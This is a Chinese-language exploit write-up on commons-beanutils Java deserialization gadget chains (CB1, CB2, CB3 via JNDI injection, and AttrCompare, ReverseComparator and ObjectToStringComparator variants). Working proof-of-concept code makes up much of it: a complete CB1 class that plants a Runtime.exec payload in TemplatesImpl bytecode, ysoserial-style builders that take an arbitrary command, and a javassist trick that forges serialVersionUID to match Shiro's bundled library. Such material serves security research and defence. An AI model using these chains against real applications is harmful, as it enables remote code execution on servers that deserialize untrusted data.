BeanComparator
BeanComparator是commons-beanutils 中的一个类,它的作用是比较两个类是否相同。初始化时可以指定 property 和 comparator,没有指定的话则使用org.apache.commons.collections.comparators.ComparableComparator

PropertyUtils
BeanComparator.compare() 方法接收两个对象,如果 property 为空,则直接比较两个对象,property 不为空则执行org.apache.commons.beanutils.PropertyUtils#getProperty() 方法
PropertyUtils 类使用 Java 反射API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。 其中的 getProperty() 方法接收 bean 对象和属性名,进而调用 get() 方法获取指定 Filed 值
这个性质贯彻所有 CommonsBeanutils 的利用链构造,正如 Transformer 对于 CC链 的意义

CommonsBeanutils1
前面提到可以通过 org.apache.commons.beanutils.PropertyUtils#getProperty() 执行任意的 get 方法,那么就可以使用和 fastjson 类似的思路,直接调用 TemplatesImpl 的 \_outputProperties 成员变量来触发
我们在构造的时候向 PriorityQueue 集合中添加了两个无害元素,add() 方法会调用到 java.util.Comparator#compare() 方法。由于 CB1 中我们使用的是这个构造方法,property 不为空没有进入 internalCompare() ,但需要注意的是这个方法会执行 org.apache.commons.beanutils.BeanComparator 构造方法时传入的 comparator 的 compore() 方法,后续要注意这种情况

POC
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static TOOl.tool.unserialize;
import static TOOl.tool.serialize;
import java.lang.reflect.Field;
public class CB1 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue, comparator);//设置queue的comparator字段值为comparator
Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
Field field4 = comparator.getClass().getDeclaredField("property");
field4.setAccessible(true);
field4.set(comparator, "outputProperties");
String serialize = serialize(queue);
unserialize(serialize);
}
}
CommonsBeanutils3
除此之外,还可以利用PropertyUtils#getProperty() 的特性,用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData() 实现 JNDI 注入
public Object getObject(final String command) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(command);
jdbcRowSet.setMatchColumn("foo");
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
// switch contents of queue
Reflections.setFieldValue(queue, "queue", new Object[]{jdbcRowSet, jdbcRowSet});
return queue;
}CommonsBeanutils2
ysoserial 中提到调用链需要 commons-collections 依赖,但是我们在实际调用链的构造时,并没有用到相关类,这是为什么?前面提到,在实例化 BeanComparator 时,如果没有指定 comparator,则默认会实例化一个 ComparableComparator ,而这个类是 commons-collections 包中的一个类。那么如果使用一个非 commons-collections 包的 comparator ,则可以实现纯 CB 利用,在之前的分析中也提到构造 BeanComparator 时是可以自定义 comparator 的。
comparator 需要满足这两个条件,且尽量通用:
- 实现
java.util.Comparator接口 - 实现
java.io.Serializable接口
在jdk中寻找符合条件的类,比如java.lang.String.CaseInsensitiveComparator、java.util.Collections.ReverseComparator,以 java.lang.String.CaseInsensitiveComparator 为例构建出 CB2 gadget,可以通过 String.CASE_INSENSITIVE_ORDER 方便的拿到该对象

public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("any");
queue.add("any");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}CommonsBeanutilsAttrCompare
这条 gadget 使用了一个新的 Compare com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare ,逻辑都差不多,只要在序列化时确保 java.util.PriorityQueue#add() 触发到 AttrCompare#compare() 时不报错就好
关键判断就是这两处,Attr 的接口实现需要满足两个条件:
- namespaceURI 为 String
- localName 不为空

public Queue<Object> getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}CommonsBeanutilsReverseComparator
之前提到的 java.util.Collections$ReverseComparator 链
public Queue<Object> getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// java.util.Collections.ReverseComparator
Comparator obj = (Comparator) Reflections.newInstance("java.util.Collections$ReverseComparator");
BeanComparator beanComparator = new BeanComparator(null, obj);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}commons-collections:commons-collections:3.2.1 也有类似方法类
public Queue<Object> getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
BeanComparator beanComparator = new BeanComparator(null, new ReverseComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}CommonsBeanutilsObjectToStringComparator
public Queue<Object> getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}serialVersionUID 兼容性
ysoserial 中用的 commons-beanutils 组件版本是1.9.2,而 Shiro 自带的版本为 1.8.3,两个类发生了改动。序列化时会计算一个类的 serialVersionUID 写入数据流,在反序列化时如果环境中对应类计算 serialVersionUID 不同,则会报错。为了解决这个问题,我们可以将本地库换成相应版本,也可以手动修改serialVersionUID。
利用 javassist 建一个手动修改 serialVersionUID 的 BeanComparator
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new JavassistClassLoader()).newInstance();
ctBeanComparator.defrost();